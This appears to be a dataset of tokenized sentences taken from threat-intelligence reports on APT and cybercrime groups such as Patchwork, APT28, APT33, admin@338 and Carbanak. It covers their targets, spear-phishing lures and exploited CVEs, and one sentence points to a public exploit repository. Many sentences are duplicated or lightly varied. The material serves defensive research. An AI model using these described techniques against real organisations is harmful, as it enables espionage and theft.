Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments , and specifically those working on issues relating to Southeast Asia and the South China Sea .
Patchwork ( also known as Dropping Elephant ) is a cyberespionage group whose targets included diplomatic and government agencies as well as businesses .
Dropping Elephant ( also known as " Chinastrats " and " Patchwork " ) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
The previous two volumes of the Microsoft Security Intelligence Report explored the activities of two such groups , code-named STRONTIUM and PLATINUM , which used previously unknown vulnerabilities and aggressive , persistent techniques to target specific individuals and— often including military installations , intelligence agencies , and other government bodies .
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets , primarily relating to the satellite , aerospace and communication industries .
PUTTER PANDA is a determined adversary group , conducting intelligence-gathering operations targeting the Government , Defense , Research , and Technology sectors in the United States , with specific targeting of the US Defense and European satellite and aerospace industries .
In 2015 and 2016 , Dridex was one of the most prolific eCrime banking trojans on the market and , since 2014 , those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits .
In August 2017 , a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K. 's National Health Service ( NHS ) , with a high ransom demand of 53 BTC ( approximately $200,000 USD ) .
Known for hijacking prominent social media accounts , the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network .
Through research , 360 Helios Team has found that , since 2007 , the Poison Ivy Group has carried out 11 years of cyber espionage campaigns against Chinese key units and departments , such as national defense , government , science and technology , education and maritime agencies .
Dragos has reported that XENOTIME , the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017 , has expanded its focus beyond the oil and gas industries .
Known targets of this group have been involved in the maritime industry , as well as engineering-focused entities , and include research institutes , academic organizations , and private firms in the United States .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
Historically , the majority of their targeting has been focused on the South Korean government , military , and defense industrial base .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope BackgroundActive since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
In 2017 , APT37 expanded its targeting beyond the Korean peninsula to include Japan , Vietnam and the Middle East , and to a wider range of industry verticals , including chemicals , electronics , manufacturing , aerospace , automotive and healthcare entities .
We surmise that the targeting of banks , media , and government agencies is conducted in support of APT38 's primary mission .
The APT38 targeted news outlets known for their business and financial sector reporting , probably in support of efforts to identify and compromise additional financial institutions .
APT39 has prioritized the telecommunications sector , with additional targeting of the travel industry and IT firms that support it and the high-tech industry .
APT39 's focus on the telecommunications and travel industries suggests intent to perform monitoring , tracking , or surveillance operations against specific individuals , collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities , or create additional accesses and vectors to facilitate future campaigns .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japanese organizations such as government agencies ( including defense ) as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
REDBALDKNIGHT , also known as BRONZE BUTLER and Tick , is a cyberespionage group known to target Japan such as government agencies as well as those in biotechnology , electronics manufacturing , and industrial chemistry .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
The Charming Kitten' focus appears to be individuals of interest to Iran in the fields of academic research .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
Since 2013 , the Cobalt have attempted to attack banks and financial institutions using pieces of malware they designed .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Gallmaker 's activity appears to be highly targeted , with its victims all related to government , military , or defense sectors .
There are no obvious links between the Eastern European and Middle Eastern targets , but it is clear that Gallmaker is specifically targeting the defense , military , and government sectors .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
APT15 was targeting information related to UK government departments and military technology .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
Lotus Blossom targeted the government , higher education , and high tech companies .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
This group has used a large array of infection vectors , mostly revolving around drive-by downloads and spam .
To infect individuals with access to the data the actors desire , Scarlet Mimic deploys both spear-phishing and watering hole ( strategic web compromise ) attacks .
As with many other attackers who use spear-phishing to infect victims , Scarlet Mimic makes heavy use of " decoy " files .
The most recent Scarlet Mimic attacks we have identified were conducted in 2015 and suggest the group has a significant interest in both Muslim activists and those interested in critiques of the Russian government and Russian President Vladimir Putin .
Using these tactics Scarlet Mimic can directly target previously identified individuals ( spear phishing ) as well as unidentified individuals who are interested in a specific subject ( watering hole ) .
Scarlet Mimic primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
Scarlet Mimic has carried out attacks using both spear-phishing and watering holes since at least 2009 with increasingly advanced malware , and has deployed malware to attack multiple operating systems and platforms .
The group primarily deploys spear-phishing e-mails to infect its targets , but was also responsible for a watering hole attack in 2013 .
When using email scams , SilverTerrier actors preferred to use large target audiences , which maximized the likelihood of success with very little risk .
The malware may inject itself into browser processes and explorer.exe .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
In the following weeks , FireEye released threat intelligence products and updated malware profiles to customers while developing new detection techniques for APT32’s tools and phishing lures .
FIN7 is a financially motivated intrusion set that selectively targets victims and uses spear phishing to distribute its malware .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The threat actors , observed by FireEye Labs , use a variety of different methods to either compromise or acquire already compromised payment card credentials , including sharing or purchasing dumps online , hacking vulnerable merchant websites and compromising payment card processing devices .
Another common step taken by threat actors is changing their system's MAC Address to avoid being uniquely identified .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
FireEye Labs detects this phishing attack and customers will be protected against the usage of these sites in possible future campaigns .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
To run its code in kernel mode in the most recent versions of operating systems , that have Driver Signature Enforcement , Slingshot loads signed vulnerable drivers and runs its own code through their vulnerabilities .
To date , all observed Snake Wine 's attacks were the result of spear phishing attempts against the victim organizations .
Beginning in mid-January 2019 , TA542 distributed millions of Emotet-laden emails in both English and German .
Proofpoint researchers observed one DanaBot affiliate ( Affid 11 ) specifically targeting Canada with " Canada Post " themed lures between January 1 and May 1 , 2019 .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
In this latest incident , the group registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
In previous incidents involving this threat actor , we observed them using malicious documents hosted on websites about the Indian Army , instead of sending these documents directly as an email attachment .
In this latest incident , Transparent Tribe registered a fake news domain , timesofindiaa.in , on May 18 , 2016 , and then used it to send spear phishing emails to Indian government officials on the same day .
This exploit file made use of the same shellcode that we have observed  Transparent Tribe use across a number of spear phishing incidents .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
Whitefly compromises its victims using custom malware alongside open-source hacking tools and living off the land tactics , such as malicious PowerShell scripts .
After the demise of Storm , it was replaced by another new botnet known as Waledac that also leveraged peer-to-peer communications .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
In one case from 2013 , the target was sent a malicious document through a spear phishing email message .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Should a user enable this content , Gallmaker is then able to use the DDE protocol to remotely execute commands in memory on the victima 's system .
These socially engineered emails contain web links of weaponized documents containing exploits or macros .
It contains an additional meta tag at the end of the web page source code , " refreshing " ( redirecting ) the site visitor to the weaponized document .
Volexity has also found that , in addition to sending malware lures , the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents .
Pitty Tiger group is sometimes using stolen material as spear phishing content to target other persons .
The Pitty Tiger group mostly uses spear phishing in order to gain an initial foothold within the targeted environment .
PittyTiger leverages social engineering to deliver spearphishing emails , in a variety of languages including English , French and Chinese , and email phishing pages to their targets .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
PLATINUM often spear phishes its targets at their non-official or private email accounts , to use as a stepping stone into the intended organization 's network .
PLATINUM primarily targets its intended victims using spear phishing .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
n one case from 2013 , the target was sent a malicious document through a spear phishing email message .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
It is possible that APT37 's distribution of KARAE malware via torrent websites could assist in creating and maintaining botnets for future distributed denial-of-service ( DDoS ) attacks , or for other activity such as financially motivated campaigns or disruptive operations .
In May 2017 , APT37 used a bank liquidation letter as a spear phishing lure against a board member of a Middle Eastern financial company .
Operation Daybreak appears to have been launched by unknown attackers to infect high profile targets through spear-phishing e-mails .
Operation Daybreak appears to have been launched by APT37 to infect high profile targets through spear-phishing e-mails .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when the group compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
Symantec discovered the most recent wave of Tick attacks in July 2015 , when BRONZE BUTLER compromised three different Japanese websites with a Flash ( .swf ) exploit to mount watering hole attacks .
However , even though the TTPs of the Cleaver team have some overlap to techniques used by Iranian Cyber Army ( botnets ) , Ashiyane ( SQL injection ) and Syrian Electronic Army ( phishing ) , we believe this is largely the work of a new team .
In several cases , the Cobalt compromised company infrastructure and employee accounts in order to send phishing messages to partner companies in North and South America , Europe , CIS countries , and Central and Southeast Asia .
To ensure remote access to the workstation of an employee at a target organization , the Cobalt group ( as in previous years ) uses Beacon , a Trojan available as part of commercial penetration testing software .
In a recent spear-phishing campaign , the Cobalt Hacking Group used a remote code execution vulnerability in Microsoft Office software to connect to its command and control server via Cobalt Strike .
We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare .
Orangeworm 's secondary targets include Manufacturing , Information Technology , Agriculture , and Logistics .
While these industries may appear to be unrelated , we found them to have multiple links to healthcare , such as large manufacturers that produce medical imaging devices sold directly into healthcare firms , IT organizations that provide support services to medical clinics , and logistical organizations that deliver healthcare products .
Once Orangeworm has infiltrated a victim 's network , they deploy Trojan.Kwampirs , a backdoor Trojan that provides the attackers with remote access to the compromised computer .
Patchwork targets were chosen worldwide with a focus on personnel working on military and political assignments , and specifically those working on issues relating to Southeast Asia and the South China Sea .
Kwampirs uses a fairly aggressive means to propagate itself once inside a victim 's network by copying itself over network shares .
In mid-August , the OilRig threat group sent what appeared to be a highly targeted phishing email to a high-ranking office in a Middle Eastern nation .
Patchwork 's attack was detected as part of a spear phishing against a government organization in Europe in late May 2016 .
The attack was detected as part of a spear phishing against a government organization in Europe in late May 2016 .
The Patchwork attack group has been targeting more than just government-associated organizations .
Symantec has been actively monitoring Patchwork , also known as Dropping Elephant , which uses Chinese-themed content as bait to compromise its targets ' networks .
Two security companies , Cymmetria and Kaspersky , each recently released reports on the campaign , most of which are in line with our observations .
Symantec Security Response has been actively monitoring Patchwork , also known as Dropping Elephant , which uses Chinese-themed content as bait to compromise its targets ' networks .
While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec , we have seen infections in multiple countries due to the nature of the victims operating large international corporations .
Although approximately half of the attacks focus on the US , other targeted regions include China , Japan , Southeast Asia , and the United Kingdom .
While Orangeworm has impacted only a small set of victims in 2016 and 2017 according to Symantec telemetry , we have seen infections in multiple countries due to the nature of the victims operating large international corporations .
Our first observation of an attempted attack related to this campaign dates back to November 2015 , although Symantec telemetry data indicates that the campaign may have already existed in early 2015 or perhaps even earlier .
Should a user enable this content , Gallmaker is then able to use the DDE protocol to remotely execute commands in memory on the victima 's system .
While both back door Trojans wait for commands from the threat actor , they can search for files and upload them to the specified server once activated .
Patchwork ( also known as Dropping Elephant ) is a cyberespionage group whose targets included diplomatic and government agencies as well as businesses .
Patchwork is known for rehashing off-therack tools and malware for its own campaigns .
They also included Dynamic Data Exchange ( DDE ) and Windows Script Component ( SCT ) abuse to their tactics , as well as started exploiting recently reported vulnerabilities .
These socially engineered emails contain web links of weaponized documents containing exploits or macros .
It contains an additional meta tag at the end of the web page source code , " refreshing " ( redirecting ) the site visitor to the weaponized document .
It 's probable that Patchwork uses this package to facilitate server installation when using a Windows environment .
In March and April 2018 , Volexity identified multiple spear phishing campaigns attributed to Patchwork , an Indian APT group also known as Dropping Elephant .
This increase in threat activity was consistent with other observations documented over the last few months in blogs by 360 Threat Intelligence Center analyzing attacks on Chinese organizations and Trend Micro noting targets in South Asia .
Volexity has also found that , in addition to sending malware lures , the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages .
The newsletter includes a link to the attacker 's website , which has content focusing on topics related to China to draw the target 's interest .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The threat actors appear to have leveraged publicly available exploit code that can be found on Github at the URL : https://github.com/rxwx/CVE-2017-8570 .
Dropping Elephant ( also known as " Chinastrats " and " Patchwork " ) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
From the attacks observed by Volexity , what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks .
Once started , it downloads additional malware from the C2 and also uploads some basic system information , stealing , among other things , the user 's Google Chrome credentials .
It repeatedly attempts to iterate through directories and to collect files with the following extensions : doc , docx , ppt , pptx , pps , ppsx , xls , xlsx , and pdf .
In this case , a small group reusing exploit code , some powershell-based malware and mostly social engineering has been able to steal sensitive documents and data from victims since at least November 2015 .
In the past few months , Unit 42 has observed the Patchwork group , alternatively known as Dropping Elephant and Monsoon , conducting campaigns against targets located in the Indian subcontinent .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
The Patchwork group continues to plague victims located within the Indian subcontinent .
The overarching campaign appears to target both Chinese nationals within different industries and government agencies in Southern Asia .
It appears to have started in December 2015 and is still ongoing as of July 2016 .
The use of weaponized legitimate documents is a longstanding operational standard of Patchwork .
It is dropped by at least one of the weaponised documents17 used in the MONSOON campaign where it is embedded inside another executable .
The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents .
The targeting of Chinese nationals may also be related to this campaign , but equally may be part of a separate campaign by the adversary or even as part of them selling Surveillance-As-A-Service in a similar manner previously seen with the HANGOVER group .
The use of weaponized legitimate documents is a longstanding operational standard of this group .
We decided to spend some time to investigate around this malware and found out that it was used exclusively by a single group of attackers .
The newsnstat.com domain was used earlier in 2015 for previous HANGOVER campaigns , and was then repurposed in December 2015 for the MONSOON campaign .
